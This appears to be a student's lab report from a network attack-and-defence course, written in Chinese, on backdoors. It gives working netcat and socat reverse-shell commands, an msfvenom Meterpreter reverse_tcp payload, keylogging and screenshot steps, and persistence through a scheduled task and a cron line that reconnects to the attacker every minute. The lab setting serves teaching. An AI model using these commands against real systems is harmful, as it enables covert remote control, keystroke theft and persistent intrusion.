20145208 蔡野 《网络攻防》 后门原理与实践
20145208 蔡野 《网络攻防》 后门原理与实践
实验内容概述
- 简单实用netcat和socat获取靶机shell,并实现任务计划启动;使用msf-meterpreter生成可执行后门文件获取靶机shell,并进行一些命令操作,如查看ip、截屏、记录键盘输入、获取ruby交互界面、进程迁移、安装成服务等。
基础问题回答
-
如何将一个后门安装到系统中?
- 将后门程序伪装进软件中进去系统。
- 在其他软件或文件中进行捆绑。
-
后门如何启动起来(win及linux)?
- windwos之中设置任务启动计划,在linux之中设置cron。
-
Meterpreter有哪些给你映像深刻的功能?
- 键盘记录,可以猜测他人密码或其他键入信息。
- 截屏。可以看的别人屏幕。
- 视频。想想就可怕****
-
如何发现自己有系统有没有被安装后门?
- 如果莫名其妙的卡顿出现,或者内存占有忽然变高,或者感觉有什么异常的,都有可能是后门。
实验过程记录
使用netcat获取主机操作Shell,cron启动
linux获取windows的shell
- 首先两个操作系统中都要有ncat,kali中已经自带,window需要下载码云上的压缩包到window中,解压到相应的system中可以直接在命令行中运行。
- kali下使用ifconfig来获取卡里主机的ip。
- 在kali下使用
nc -l -p 5208
来将5208设置成监听端口开始监听,windows下输入netcat.exe -e cmd 172.30.2.230 5208
实现kali对windowsshell的控制并利用ipconfig来验证。
windows获取linux的shell
- windows下使用以下命令
netcat.exe 172.30.2.230 5208
监听 - kali下使用
nc -e /bin/sh -l -p 5208
反弹连接windows - 利用ifconfig验证
ncat传输文件
- windows系统使用
ncat.exe -lv 1452 > cy_file.exe
监听准备接受文件 - kali系统使用
ncat -nv 172.30.3.151 1452 <pwnx
来发送指定文件
使用socat获取主机操作Shell
- windows利用socat获取kali的shell:
- kali上用
socat tcp-listen:5208
把cmd绑定到端口5208 - 同時用
socat tcp-l:5208 system:bash,pty,stderr
反弹连接 - windows使用
socat readline tcp:172.30.2.230 5208
开启监听 - 成功,使用ifconfig检测
meterpreter
生成后门程序
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.2.230 LPORT=208 -f exe >20145208.exe
来生成后门程序,然后发送到windows机中。
- 使用msfconsole命令开启msf进行设置
- 这时候监听已经开始了,在windows中运行之前的后门程序可以成功控制远程shell。
meterpreter信息搜集
- 查看系统版本信息
- 对靶机进行截图
- 记录键盘输入
- 安装为系统服务(两种方法,第一种可能因为权限原因失败,第二种成功)
后门启动
Windows
- 在控制面板-管理工具-任务计划程序中添加任务
- 添加名称,新建触发器,新建内容
- 这里我设置成当靶机锁定的时候自动连接,也可以设置成其他条件,如开机启动或其他条件。测试有效:
cron启动
-
kali下终端使用
crontab -e
修改配置文件,根据格式m h dom mon dow user command来填写启动的时间,加入下面一行:
* * * * * /bin/netcat 172.30.2.230 5208 -e /bin/sh
-
第一个星号可以设置成0-59的数字,即每小时的第几分钟启动,同理下个星号是1-24,下个是1-12···
-
使用
crontab -l
查看配置文件(老师的kali原本自带了一个地址)
- 这样就使得kali系统内每分钟自动运行指令,反弹至pc端的5208端口。
实验感想
- 真是发现了自己的电脑安全多么脆弱,下了那么多盗版的正版的软件,不知道有多少后门,先把摄像头糊上再说
posted on 2017-03-13 13:45 20145208蔡野 阅读(464) 评论(0) 编辑 收藏 举报